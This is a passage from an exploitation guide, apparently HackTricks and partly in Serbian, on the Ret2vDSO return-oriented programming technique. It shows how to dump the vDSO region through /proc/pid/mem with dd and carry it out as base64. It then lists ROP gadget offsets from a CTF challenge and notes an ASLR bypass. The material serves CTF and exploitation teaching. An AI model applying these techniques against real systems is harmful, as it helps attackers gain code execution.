Ret2vDSO

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Osnovne informacije

There might be gadgets in the vDSO region, which is a small ELF DSO mapped by the kernel to provide fast user-space implementations of some kernel helpers. U ovakvim izazovima, obično se dostavi kernel image koji omogućava dump vDSO regiona.

Pronalaženje baze vDSO i eksportovanih simbola

The vDSO base address is passed in the auxiliary vector as AT_SYSINFO_EHDR, so if you can read /proc/<pid>/auxv (or call getauxval in a helper process), you can recover the base without relying on a memory leak. See Auxiliary Vector (auxv) and vDSO for practical ways to obtain it.

Once you have the base, treat the vDSO like a normal ELF DSO (linux-vdso.so.1): dump the mapping and use readelf -Ws/objdump -d (or the kernel reference parser tools/testing/selftests/vDSO/parse_vdso.c) to resolve exported symbols and look for gadgets. On x86 32-bit the vDSO commonly exports __kernel_vsyscall, __kernel_sigreturn, and __kernel_rt_sigreturn; on x86_64 typical exports include __vdso_clock_gettime, __vdso_gettimeofday, and __vdso_time. Because the vDSO uses symbol versioning, match the expected version when resolving symbols.

Following the example from https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/ it’s possible to see how it was possible to dump the vdso section and move it to the host with:

# Find addresses
cat /proc/76/maps
08048000-08049000 r--p 00000000 00:02 317                                /target
08049000-0804a000 r-xp 00001000 00:02 317                                /target
0804a000-0804b000 rw-p 00002000 00:02 317                                /target
f7ff8000-f7ffc000 r--p 00000000 00:00 0                                  [vvar]
f7ffc000-f7ffe000 r-xp 00000000 00:00 0                                  [vdso]
fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]

# Dump it
dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))
8192+0 records in
8192+0 records out
8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s

# Compress and leak it
gzip vdso
base64 vdso.gz

# Decompress and check of gadgets
echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'

ROP gadgets pronađeni:

vdso_addr = 0xf7ffc000

int_0x80_xor_eax_eax_ret_addr = 0x8049010
bin_sh_addr = 0x804a800

# 0x0000057a : pop edx ; pop ecx ; ret
pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a

# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca

# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret
or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb

# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd

Caution

Obratite pažnju da bi moglo biti moguće zaobići ASLR zloupotrebljavajući vdso ako je kernel kompajliran sa CONFIG_COMPAT_VDSO jer adresa vdso neće biti randomizovana: https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639

ARM64

Nakon dumpinga i provere vdso sekcije binarnog fajla u kali 2023.2 arm64, nisam tamo mogao naći nijedan interesantan gadget (nema načina da se kontrolišu registers vrednostima sa stack-a ili da se kontroliše x30 za a ret) osim načina da se pozove SROP. Pogledajte više informacija u primeru sa stranice:

SROP - arm64

Izvori

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